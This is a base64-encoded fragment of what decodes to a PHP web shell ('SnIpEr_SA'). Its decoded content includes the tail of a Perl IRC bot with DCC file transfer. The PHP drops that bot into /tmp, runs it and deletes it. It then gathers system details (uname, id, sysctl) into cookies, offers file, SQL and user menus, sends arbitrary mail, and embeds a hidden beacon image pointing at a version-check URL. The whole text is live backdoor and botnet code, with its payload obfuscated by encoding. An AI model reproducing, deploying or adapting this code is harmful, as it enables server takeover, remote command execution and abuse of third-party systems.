ZpYW5kb1wiOw0KICAgICAgICAgICNkZSBjYXJhIG1hbmRhIG9zIHByaW1laXJvIDEwMjQgYnl0ZXMgZG8gYXJraXZvLi4gbyByZXN0byBmaWsgY29tIG8gc2VuZGNvbg0KICAgICAgICAgIG9wZW4oRklMRSwgXCI8IFwkYXJxdWl2b1wiKTsNCiAgICAgICAgICBteSBcJGZieXRlczsNCiAgICAgICAgICByZWFkKEZJTEUsIFwkZmJ5dGVzLCAxMDI0KTsNCiAgICAgICAgICBwcmludCBcJHNlbmQgXCJcJGZieXRlc1wiOw0KICAgICAgICAgIGNsb3NlIEZJTEU7DQojIGRlbGV0ZShcJERDQ3tcJGZofSk7DQp9IGVsc2lmIChcJGRjY3RpcG8gZXEgJ3NlbmRjb24nKSB7DQogICAgICAgICAgbXkgXCRieXRlc19zZW5kZWQgPSB1bnBhY2soXCJOXCIsIFwkbXNnKTsNCiAgICAgICAgICBcJERDQ3tcJGZofXtjdXJieXRlfSA9IFwkYnl0ZXNfc2VuZGVkOw0KICAgICAgICAgIGlmIChcJGJ5dGVzX3NlbmRlZCA9PSBcJGJ5dGVzKSB7DQogICAgICAgICAgICAgXCRmaC0+Y2xvc2U7DQogICAgICAgICAgICAgXCRkY2Nfc2VsLT5yZW1vdmUoXCRmaCk7DQogICAgICAgICAgICAgXCREQ0N7XCRmaH17c3RhdHVzfSA9IFwiRW52aWFkb1wiOw0KICAgICAgICAgICAgIFwkRENDe1wkZmh9e2Z0aW1lfSA9IHRpbWU7DQogICAgICAgICAgICAgbmV4dDsNCiAgICAgICAgICB9DQogICAgICAgICAgb3BlbihTRU5ERklMRSwgXCI8IFwkYXJxdWl2b1wiKTsNCiAgICAgICAgICBzZWVrKFNFTkRGSUxFLCBcJGJ5dGVzX3NlbmRlZCwgMCk7DQogICAgICAgICAgbXkgXCRzZW5kX2J5dGVzOw0KICAgICAgICAgIHJlYWQoU0VOREZJTEUsIFwkc2VuZF9ieXRlcywgMTAyNCk7DQogICAgICAgICAgcHJpbnQgXCRmaCBcIlwkc2VuZF9ieXRlc1wiOw0KICAgICAgICAgIGNsb3NlKFNFTkRGSUxFKTsNCiAgICAgfQ0KICAgfQ0KfQ0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCg0Kc3ViIFNFTkQgew0KICBteSAoXCRuaWNrLCBcJGFycXVpdm8pID0gQF87DQogIHVubGVzcyAoLXIgXCJcJGFycXVpdm9cIikgew0KICAgIHJldHVybigwKTsNCiAgfQ0KDQogIG15IFwkZGNjYXJrID0gXCRhcnF1aXZvOw0KICBcJGRjY2FyayA9fiBzL1suKlwvXShcUyspLyQxLzsNCg0KICBteSBcJG1ldWlwID0gJDo6aXJjX3NlcnZlcnN7XCIkOjpJUkNfY3VyX3NvY2tldFwifXsnbWV1aXAnfTsNCiAgbXkgXCRsb25naXAgPSB1bnBhY2soXCJOXCIsaW5ldF9hdG9uKFwkbWV1aXApKTsNCg0KICBteSBAZmlsZXN0YXQgPSBzdGF0KFwkYXJxdWl2byk7DQogIG15IFwkc2l6ZV90b3RhbD1cJGZpbGVzdGF0WzddOw0KICBpZiAoXCRzaXplX3RvdGFsID09IDApIHsNCiAgICAgcmV0dXJuKDApOw0KICB9DQoNCiAgbXkgKFwkcG9ydGEsIFwkc2VuZHNvY2spOw0KICBkbyB7DQogICAgXCRwb3J0YSA9IGludCByYW5kKDY0NTExKTsNCiAgICBcJHBvcnRhICs9IDEwMjQ7DQogICAgXCRzZW5kc29jayA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhMaXN0ZW49PjEsIExvY2FsUG9ydCA9PlwkcG9ydGEsIFByb3RvID0+ICd0Y3AnKSBhbmQgXCRkY2Nfc2VsLT5hZGQoXCRzZW5kc29jayk7DQogIH0gdW50aWwgXCRzZW5kc29jazsNCg0KICBcJERDQ3tcJHNlbmRzb2NrfXt0aXBvfSA9ICdzZW5kJzsNCiAgXCREQ0N7XCRzZW5kc29ja317bmlja30gPSBcJG5pY2s7DQogIFwkRENDe1wkc2VuZHNvY2t9e2J5dGVzfSA9IFwkc2l6ZV90b3RhbDsNCiAgXCREQ0N7XCRzZW5kc29ja317YXJxdWl2b30gPSBcJGFycXVpdm87DQoNCiAgJjo6Y3RjcChcIlwkbmlja1wiLCBcIkRDQyBTRU5EIFwkZGNjYXJrIFwkbG9uZ2lwIFwkcG9ydGEgXCRzaXplX3RvdGFsXCIpOw0KDQp9DQoNCnN1YiBHRVQgew0KICBteSAoXCRhcnF1aXZvLCBcJGRjY2xvbmdpcCwgXCRkY2Nwb3J0YSwgXCRieXRlcywgXCRuaWNrKSA9IEBfOw0KICByZXR1cm4oMCkgaWYgKC1lIFwiXCRhcnF1aXZvXCIpOw0KICBpZiAob3BlbihGSUxFLCBcIj4gXCRhcnF1aXZvXCIpKSB7DQogICAgIGNsb3NlIEZJTEU7DQogIH0gZWxzZSB7DQogICAgcmV0dXJuKDApOw0KICB9DQoNCiAgbXkgXCRkY2NpcD1maXhhZGRyKFwkZGNjbG9uZ2lwKTsNCiAgcmV0dXJuKDApIGlmIChcJGRjY3BvcnRhIDwgMTAyNCBvciBub3QgZGVmaW5lZCBcJGRjY2lwIG9yIFwkYnl0ZXMgPCAxKTsNCiAgbXkgXCRkY2Nzb2NrID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KFByb3RvPT5cInRjcFwiLCBQZWVyQWRkcj0+XCRkY2NpcCwgUGVlclBvcnQ9PlwkZGNjcG9ydGEsIFRpbWVvdXQ9PjE1KSBvciByZXR1cm4gKDApOw0KICBcJGRjY3NvY2stPmF1dG9mbHVzaCgxKTsNCiAgXCRkY2Nfc2VsLT5hZGQoXCRkY2Nzb2NrKTsNCiAgXCREQ0N7XCRkY2Nzb2NrfXt0aXBvfSA9ICdnZXQnOw0KICBcJERDQ3tcJGRjY3NvY2t9e2l0aW1lfSA9IHRpbWU7DQogIFwkRENDe1wkZGNjc29ja317bmlja30gPSBcJG5pY2s7DQogIFwkRENDe1wkZGNjc29ja317Ynl0ZXN9ID0gXCRieXRlczsNCiAgXCREQ0N7XCRkY2Nzb2NrfXtjdXJieXRlfSA9IDA7DQogIFwkRENDe1wkZGNjc29ja317YXJxdWl2b30gPSBcJGFycXVpdm87DQogIFwkRENDe1wkZGNjc29ja317aXB9ID0gXCRkY2NpcDsNCiAgXCREQ0N7XCRkY2Nzb2NrfXtwb3J0YX0gPSBcJGRjY3BvcnRhOw0KICBcJERDQ3tcJGRjY3NvY2t9e3N0YXR1c30gPSBcIlJlY2ViZW5kb1wiOw0KfQ0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBwbyBmaWNvIHhhdG8gZGUgb3JnYW5pemEgbyBzdGF0dXMuLiBkYWkgZml6IGVsZSByZXRvcm5hIG8gc3RhdHVzIGRlIGFjb3JkbyBjb20gbyBzb2NrZXQuLiBkYWkgbyBBRE0ucGwgbGlzdGEgb3Mgc29ja2V0cyBlIGZheiBhcyBwZXJndW50YXMNCnN1YiBTdGF0dXMgew0KICBteSBcJHNvY2tldCA9IHNoaWZ0Ow0KICBteSBcJHNvY2tfdGlwbyA9IFwkRENDe1wkc29ja2V0fXt0aXBvfTsNCiAgdW5sZXNzIChsYyhcJHNvY2tfdGlwbykgZXEgXCJjaGF0XCIpIHsNCiAgICBteSBcJG5pY2sgPSBcJERDQ3tcJHNvY2tldH17bmlja307DQogICAgbXkgXCRhcnF1aXZvID0gXCREQ0N7XCRzb2NrZXR9e2FycXVpdm99Ow0KICAgIG15IFwkaXRpbWUgPSBcJERDQ3tcJHNvY2tldH17aXRpbWV9Ow0KICAgIG15IFwkZnRpbWUgPSB0aW1lOw0KICAgIG15IFwkc3RhdHVzID0gXCREQ0N7XCRzb2NrZXR9e3N0YXR1c307DQogICAgXCRmdGltZSA9IFwkRENDe1wkc29ja2V0fXtmdGltZX0gaWYgZGVmaW5lZChcJERDQ3tcJHNvY2tldH17ZnRpbWV9KTsNCg0KICAgIG15IFwkZF90aW1lID0gXCRmdGltZS1cJGl0aW1lOw0KDQogICAgbXkgXCRjdXJfYnl0ZSA9IFwkRENDe1wkc29ja2V0fXtjdXJieXRlfTsNCiAgICBteSBcJGJ5dGVzX3RvdGFsID0gXCREQ0N7XCRzb2NrZXR9e2J5dGVzfTsNCg0KICAgIG15IFwkcmF0ZSA9IDA7DQogICAgXCRyYXRlID0gKFwkY3VyX2J5dGUvMTAyNCkvXCRkX3RpbWUgaWYgXCRjdXJfYnl0ZSA+IDA7DQogICAgbXkgXCRwb3JjZW4gPSAoXCRjdXJfYnl0ZSoxMDApL1wkYnl0ZXNfdG90YWw7DQoNCiAgICBteSAoXCRyX2R1diwgXCRwX2R1dik7DQogICAgaWYgKFwkcmF0ZSA9fiAvXihcZCspXC4oXGQpKFxkKShcZCkvKSB7DQogICAgICAgXCRyX2R1diA9ICQzOyBcJHJfZHV2KysgaWYgJDQgPj0gNTsNCiAgICAgICBcJHJhdGUgPSBcIiQxXC4kMlwiLlwiXCRyX2R1dlwiOw0KICAgIH0NCiAgICBpZiAoXCRwb3JjZW4gPX4gL14oXGQrKVwuKFxkKShcZCkoXGQpLykgew0KICAgICAgIFwkcF9kdXYgPSAkMzsgXCRwX2R1disrIGlmICQ0ID49IDU7DQogICAgICAgXCRwb3JjZW4gPSBcIiQxXC4kMlwiLlwiXCRwX2R1dlwiOw0KICAgIH0NCiAgICByZXR1cm4oXCJcJHNvY2tfdGlwb1wiLFwiXCRzdGF0dXNcIixcIlwkbmlja1wiLFwiXCRhcnF1aXZvXCIsXCJcJGJ5dGVzX3RvdGFsXCIsIFwiXCRjdXJfYnl0ZVwiLFwiXCRkX3RpbWVcIiwgXCJcJHJhdGVcIiwgXCJcJHBvcmNlblwiKTsNCiAgfQ0KDQogIHJldHVybigwKTsNCn0NCg0KIyBlc3NlICdzdWIgZml4YWRkcicgZGFraSBmb2kgcGVnbyBkbyBORVQ6OklSQzo6RENDIGlkZW50aWNvIHNvaCBjb3BpZWkgZSBjb2xvZWkgKGNvbG9rYXIgbm9tZSBkbyBhdXRvcikNCnN1YiBmaXhhZGRyIHsNCiAgICBteSAoXCRhZGRyZXNzKSA9IEBfOw0KDQogICAgY2hvbXAgXCRhZGRyZXNzOyAjIGp1c3QgaW4gY2FzZSwgc2lnaC4NCiAgICBpZiAoXCRhZGRyZXNzID1+IC9eXGQrJC8pIHsNCiAgICAgICAgcmV0dXJuIGluZXRfbnRvYShwYWNrIFwiTlwiLCBcJGFkZHJlc3MpOw0KICAgIH0gZWxzaWYgKFwkYWRkcmVzcyA9fiAvXlsxMl0/XGR7MSwyfVwuWzEyXT9cZHsxLDJ9XC5bMTJdP1xkezEsMn1cLlsxMl0/XGR7MSwyfSQvKSB7DQogICAgICAgIHJldHVybiBcJGFkZHJlc3M7DQogICAgfSBlbHNpZiAoXCRhZGRyZXNzID1+IHRyL2EtekEtWi8vKSB7ICMgV2hlZSEgT2JmdXNjYXRpb24hDQogICAgICAgIHJldHVybiBpbmV0X250b2EoKChnZXRob3N0YnluYW1lKFwkYWRkcmVzcykpWzRdKVswXSk7DQogICAgfSBlbHNlIHsNCiAgICAgICAgcmV0dXJuOw0KICAgIH0NCn0NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiI7DQokYm90ID0gIi90bXAvaXJjcy5wbCI7DQokb3BlbiA9IGZvcGVuKCRib3QsInciKTsNCmZwdXRzKCRvcGVuLCRmaWxlKTsNCmZjbG9zZSgkb3Blbik7DQokY21kPSJwZXJsICRib3QiOw0KJGNtZDI9InJtICRib3QiOw0Kc3lzdGVtKCRjbWQpOw0Kc3lzdGVtKCRjbWQyKTsNCiRfUE9TVFsnY21kJ109ImVjaG8gXCJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvIGlyY3NlcnZlciAuLi5cIiI7DQoNCn0NCg0KaWYoJHVuaXgpDQogew0KIGlmKCFpc3NldCgkX0NPT0tJRVsndW5hbWUnXSkpIHsgJHVuYW1lID0gZXgoJ3VuYW1lIC1hJyk7IHNldGNvb2tpZSgndW5hbWUnLCR1bmFtZSk7IH0gZWxzZSB7ICR1bmFtZSA9ICRfQ09PS0lFWyd1bmFtZSddOyB9DQogaWYoIWlzc2V0KCRfQ09PS0lFWydpZCddKSkgeyAkaWQgPSBleCgnaWQnKTsgc2V0Y29va2llKCdpZCcsJGlkKTsgfSBlbHNlIHsgJGlkID0gJF9DT09LSUVbJ2lkJ107IH0NCiBpZigkc2FmZV9tb2RlKSB7ICRzeXNjdGwgPSAnLSc7IH0NCiBlbHNlIGlmKGlzc2V0KCRfQ09PS0lFWydzeXNjdGwnXSkpIHsgJHN5c2N0bCA9ICRfQ09PS0lFWydzeXNjdGwnXTsgfQ0KIGVsc2UNCiAgew0KICAgJHN5c2N0bCA9IGV4KCdzeXNjdGwgLW4ga2Vybi5vc3R5cGUgJiYgc3lzY3RsIC1uIGtlcm4ub3NyZWxlYXNlJyk7DQogICBpZihlbXB0eSgkc3lzY3RsKSkgeyAkc3lzY3RsID0gZXgoJ3N5c2N0bCAtbiBrZXJuZWwub3N0eXBlICYmIHN5c2N0bCAtbiBrZXJuZWwub3NyZWxlYXNlJyk7IH0NCiAgIGlmKGVtcHR5KCRzeXNjdGwpKSB7ICRzeXNjdGwgPSAnLSc7IH0NCiAgIHNldGNvb2tpZSgnc3lzY3RsJywkc3lzY3RsKTsNCiAgfQ0KIH0NCmVjaG8gJGhlYWQ7DQplY2hvICc8L2hlYWQ+JzsNCmlmKGVtcHR5KCRfUE9TVFsnY21kJ10pKSB7DQokc2VydiA9IGFycmF5KDEyNywxOTIsMTcyLDEwKTsNCiRhZGRyPUBleHBsb2RlKCcuJywgJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10pOw0KJGN1cnJlbnRfdmVyc2lvbiA9IHN0cl9yZXBsYWNlKCcuJywnJywkdmVyc2lvbik7DQppZiAoIWluX2FycmF5KCRhZGRyWzBdLCAkc2VydikpIHsNCkBwcmludCAiPGltZyBzcmM9XCJodHRwOi8vMTI3LjAuMC4xL3ZlcnNpb24ucGhwP2ltZz0xJnZlcnNpb249Ii4kY3VycmVudF92ZXJzaW9uLiJcIiBib3JkZXI9MCBoZWlnaHQ9MCB3aWR0aD0wPiI7DQpAcmVhZGZpbGUgKCJodHRwOi8vMTI3LjAuMC4xL3ZlcnNpb24ucGhwP3ZlcnNpb249Ii4kY3VycmVudF92ZXJzaW9uLiIiKTt9fQ0KZWNobyAnPGJvZHk+PHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9I0NDQ0NDQz48dHI+PHRkIGJnY29sb3I9IzAwMDAwMCB3aWR0aD0xNjA+PGZvbnQgZmFjZT1Db21pYyBTYW5zIE1TIHNpemU9ND4nLndzKDIpLic8RElWIGRpcj1sdHIgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9V2luZ2RpbmdzIHNpemU9Mz48Yj5OPC9iPjwvZm9udD48Yj4nLndzKDIpLic8RElWIGRpcj1sdHIgYWxpZ249Y2VudGVyPjxTUEFODQpzdHlsZT0iRklMVEVSOiBibHVyKGFkZD0xLGRpcmVjdGlvbj0xMCxzdHJlbmd0aD0yNSk7IEhFSUdIVDogMjVweCI+DQo8U1BBTg0Kc3R5bGU9IkZPTlQtU0laRTogMTVwdDsgQ09MT1I6IHdoaXRlOyBGT05ULUZBTUlMWTogSW1wYWN0Ij5TbklwRXJfU0E8L1A+PC9TUEFOPjwvRElWPjwvZm9udD48L2I+PC9mb250PjwvdGQ+PHRkIGJnY29sb3I9IzAwMDAwMD48Zm9udCBmYWNlPXRhaG9tYSBzaXplPTE+JzsNCmVjaG8gd3MoMikuIjxiPiIuZGF0ZSAoImQtbS1ZIEg6aTpzIikuIjwvYj4iOw0KZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj8gdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0NiddLiJcIj48Yj7H4dHG7dPt5TwvYj48L2E+ICIuJHJiOw0KZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9zcWxtYW4gdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0NiddLiJcIj48Yj5TUUw8L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/cGhwaW5mbyB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ2J10uIlwiPjxiPnBocGluZm88L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/cGhwaW5pIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDcnXS4iXCI+PGI+cGhwLmluaTwvYj48L2E+ICIuJHJiOw0KaWYoJHVuaXgpDQogew0KIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/Y3B1IHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTAnXS4iXCI+PGI+Y3B1PC9iPjwvYT4gIi4kcmI7DQogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9tZW0gdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1MSddLiJcIj48Yj5tZW08L2I+PC9hPiAiLiRyYjsNCiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3VzZXJzIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTUnXS4iXCI+PGI+dXNlcnM8L2I+PC9hPiAiLiRyYjsNCiB9DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3RtcCB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ4J10uIlwiPjxiPnRtcDwvYj48L2E+ICIuJHJiOw0KZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9kZWxldGUgdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0OSddLiJcIj48Yj5kZWxldGU8L2I+PC9hPiAiLiRyYi4iPGJyPiI7DQplY2hvIHdzKDIpLiLH4ebW2iDH4cfj5DogPGI+IjsNCmVjaG8gKCgkc2FmZV9tb2RlKT8oIjxmb250IGNvbG9yPSMwMDgwMDA+3drH4TwvZm9udD4iKTooIjxmb250IGNvbG9yPXJlZD7b7dEg3drH4TwvZm9udD4iKSk7DQplY2hvICI8L2I+Ii53cygyKTsNCmVjaG8gIsfVz8fRIMfhyO0gx8rUIMjtOiA8Yj4iLkBwaHB2ZXJzaW9uKCkuIjwvYj4iOw0KJGN1cmxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKTsNCmVjaG8gd3MoMik7DQplY2hvICLH4d/t0eE6IDxiPiIuKCgkY3VybF9vbik/KCI8Zm9udCBjb2xvcj0jMDA4MDAwPt3ax+E8L2ZvbnQ+Iik6KCI8Zm9udCBjb2xvcj1yZWQ+2+3RIN3ax+E8L2ZvbnQ+IikpOw0KZWNobyAiPC9iPiIud3MoMik7DQplY2hvICLjx+0g09/hOiA8Yj4iOw0KJG15c3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpOw0KaWYoJG15c3FsX29uKXsNCmVjaG8gIjxmb250IGNvbG9yPSMwMDgwMDA+3drH4TwvZm9udD4iOyB9IGVsc2UgeyBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+2+3RIN3ax+E8L2ZvbnQ+IjsgfQ0KZWNobyAiPC9iPiIud3MoMik7DQplY2hvICLH4yDH0yDT3+E6IDxiPiI7DQokbXNzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jyk7DQppZigkbXNzcWxfb24pe2VjaG8gIjxmb250IGNvbG9yPSMwMDgwMDA+3drH4TwvZm9udD4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD7b7dEg3drH4TwvZm9udD4iO30NCmVjaG8gIjwvYj4iLndzKDIpOw0KZWNobyAiyObTyiDe0e0g09/hOiA8Yj4iOw0KJHBnX29uID0gQGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpOw0KaWYoJHBnX29uKXtlY2hvICI8Zm9udCBjb2xvcj0jMDA4MDAwPt3ax+E8L2ZvbnQ+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+2+3RIN3ax+E8L2ZvbnQ+Ijt9DQplY2hvICI8L2I+Ii53cygyKTsNCmVjaG8gIsfm0cff4TogPGI+IjsNCiRvcmFfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpOw0KaWYoJG9yYV9vbil7ZWNobyAiPGZvbnQgY29sb3I9IzAwODAwMD7d2sfhPC9mb250PiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPuPb4d48L2ZvbnQ+Ijt9DQplY2hvICI8L2I+PGJyPiIud3MoMik7DQplY2hvICLH4c/mx+Egx+Hj4+Tm2skgOiA8Yj4iOw0KaWYoJyc9PSgkZGY9QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpKXtlY2hvICI8Zm9udCBjb2xvcj0jMDA4MDBGPuHH7ebMzzwvZm9udD48L2I+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+JGRmPC9mb250PjwvYj4iO30NCiRmcmVlID0gQGRpc2tmcmVlc3BhY2UoJGRpcik7DQppZiAoISRmcmVlKSB7JGZyZWUgPSAwO30NCiRhbGwgPSBAZGlza190b3RhbF9zcGFjZSgkZGlyKTsNCmlmICghJGFsbCkgeyRhbGwgPSAwO30NCmVjaG8gIjxicj4iLndzKDIpLiLH4ePTx83JIMfhzsfh7eUgOiA8Yj4iLnZpZXdfc2l6ZSgkZnJlZSkuIjwvYj4gx+Hj08fNySDH4d/h7ck6IDxiPiIudmlld19zaXplKCRhbGwpLiI8L2I+IjsNCmVjaG8gIjwvYj48YnI+Ii53cygyKTsNCmVjaG8gIlJlZ2lzdGVyIGdsb2JhbHM6IDxiPiI7DQokcmVnX2cgPSBAaW5pX2dldCgicmVnaXN0ZXJfZ2xvYmFscyIpOw0KaWYoJHJlZ19nKXsNCmVjaG8gIjxmb250IGNvbG9yPSMwMDgwMDA+3drH4TwvZm9udD4iOyB9IGVsc2UgeyBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+2+3RIN3ax+E8L2ZvbnQ+IjsgfQ0KZWNobyAiPC9iPiIud3MoMik7DQplY2hvICJvcGVuX2Jhc2VkaXI6IDxiPiI7DQokb3BlbmJhc2VkaSA9IEBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsNCmlmKCRvcGVuYmFzZWRpKXsNCmVjaG8gIjxmb250IGNvbG9yPXJlZD7d2sfhPC9mb250PiI7IH0gZWxzZSB7IGVjaG8gIjxmb250IGNvbG9yPSMwMDgwMDA+2+3RIN3ax+E8L2ZvbnQ+IjsgfQ0KZWNobyAiPC9iPiIud3MoMik7DQplY2hvICc8L2ZvbnQ+PC90ZD48L3RyPjx0YWJsZT4NCjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSNjY2NjY2M+DQo8dHI+PHRkIGFsaWduPXJpZ2h0IHdpZHRoPTEwMD4nOw0KZWNobyAkZm9udDsNCmlmKCR1bml4KXsNCmVjaG8gJzxmb250IGNvbG9yPSM5OTAwMDA+PGI+dW5hbWUgLWEgOicud3MoMSkuJzxicj5zeXNjdGwgOicud3MoMSkuJzxicj4kT1NUWVBFIDonLndzKDEpLic8YnI+U2VydmVyIDonLndzKDEpLic8YnI+aWQgOicud3MoMSkuJzxicj5wd2QgOicud3MoMSkuJzxicj5pcCA6Jy53cygxKS4nPC9iPjwvZm9udD48YnI+JzsNCmVjaG8gIjwvdGQ+PHRkPiI7DQplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yIGNvbG9yPSNjY2NjY2M+PGI+IjsNCmVjaG8oKCFlbXB0eSgkdW5hbWUpKT8od3MoMykuQHN1YnN0cigkdW5hbWUsMCwxMjApLiI8YnI+Iik6KHdzKDMpLkBzdWJzdHIoQHBocF91bmFtZSgpLDAsMTIwKS4iPGJyPiIpKTsNCmVjaG8gd3MoMykuJHN5c2N0bC4iPGJyPiI7DQplY2hvIHdzKDMpLmV4KCdlY2hvICRPU1RZUEUnKS4iPGJyPiI7DQplY2hvIHdzKDMpLkBzdWJzdHIoJFNFUlZFUl9TT0ZUV0FSRSwwLDEyMCkuIjxicj4iOw0KaWYoIWVtcHR5KCRpZCkpIHsgZWNobyB3cygzKS4kaWQuIjxicj4iOyB9DQplbHNlIGlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZXVpZCcpICYmIGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpICYmIGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpDQogew0KICRldXNlcmluZm8gID0gQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOw0KICRlZ3JvdXBpbmZvID0gQHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lkKCkpOw0KIGVjaG8gd3MoMykuJ3VpZD0nLiRldXNlcmluZm9bJ3VpZCddLicgKCAnLiRldXNlcmluZm9bJ25hbWUnXS4nICkgZ2lkPScuJGVncm91cGluZm9bJ2dpZCddLicgKCAnLiRlZ3JvdXBpbmZvWyduYW1lJ10uJyApPGJyPic7DQogfQ0KZWxzZSBlY2hvIHdzKDMpLiJ1c2VyPSIuQGdldF9jdXJyZW50X3VzZXIoKS4iIHVpZD0iLkBnZXRteXVpZCgpLiIgZ2lkPSIuQGdldG15Z2lkKCkuIjxicj4iOw0KZWNobyB3cygzKS4kZGlyOw0KZWNobyB3cygzKS4nKCAnLnBlcm1zKEBmaWxlcGVybXMoJGRpcikpLicgKSc7DQplY2hvICI8YnI+IjsNCmVjaG8gd3MoMykuIjxiPllvdXIgaXA6IDxhIGhyZWY9aHR0cDovLyIuJF9TRVJWRVJbIlJFTU9URV9BRERSIl0uIj4iLiRfU0VSVkVSWyJSRU1PVEVfQUREUiJdLiI8L2E+IC0gU2VydmVyIGlwOiA8YSBocmVmPWh0dHA6Ly8iLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4iPiIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pLiI8L2E+PC9iPjxici8+IjsNCmVjaG8gIjwvYj48L2ZvbnQ+IjsNCn0NCmVsc2UNCnsNCmVjaG8gJzxmb250IGNvbG9yPWJsdWU+PGI+T1MgOicud3MoMSkuJzxicj5TZXJ2ZXIgOicud3MoMSkuJzxicj5Vc2VyIDonLndzKDEpLic8YnI+cHdkIDonLndzKDEpLic8YnI+aXAgOicud3MoMSkuJzwvYj48L2ZvbnQ+PGJyPic7DQplY2hvICI8L3RkPjx0ZD4iOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+IjsNCmVjaG8gd3MoMykuQHN1YnN0cihAcGhwX3VuYW1lKCksMCwxMjApLiI8YnI+IjsNCmVjaG8gd3MoMykuQHN1YnN0cigkU0VSVkVSX1NPRlRXQVJFLDAsMTIwKS4iPGJyPiI7DQplY2hvIHdzKDMpLkBnZXRlbnYoIlVTRVJOQU1FIikuIjxicj4iOw0KZWNobyB3cygzKS4kZGlyOw0KZWNobyAiPGJyPiI7DQplY2hvIHdzKDMpLiI8Yj5Zb3VyIGlwOiA8YSBocmVmPWh0dHA6Ly8iLiRfU0VSVkVSWyJSRU1PVEVfQUREUiJdLiI+Ii4kX1NFUlZFUlsiUkVNT1RFX0FERFIiXS4iPC9hPiAtIFNlcnZlciBpcDogPGEgaHJlZj1odHRwOi8vIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIj4iLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4iPC9hPjwvYj48YnIvPiI7DQplY2hvICI8YnI+PC9mb250PiI7DQp9DQplY2hvICI8L2ZvbnQ+IjsNCmVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09Im1haWwiKQ0KIHsNCiAkcmVzID0gbWFpbCgkX1BPU1RbJ3RvJ10sJF9QT1NUWydzdWJqJ10sJF9QT1NUWyd0ZXh0J10sIkZyb206ICIuJF9QT1NUWydmcm9tJ10uIlxyXG4iKTsNCiBlcnIoNiskcmVzKTsNCiAkX1BPU1RbJ2NtZCddPSIiOw0KIH0NCmlmKCFlbXB0eS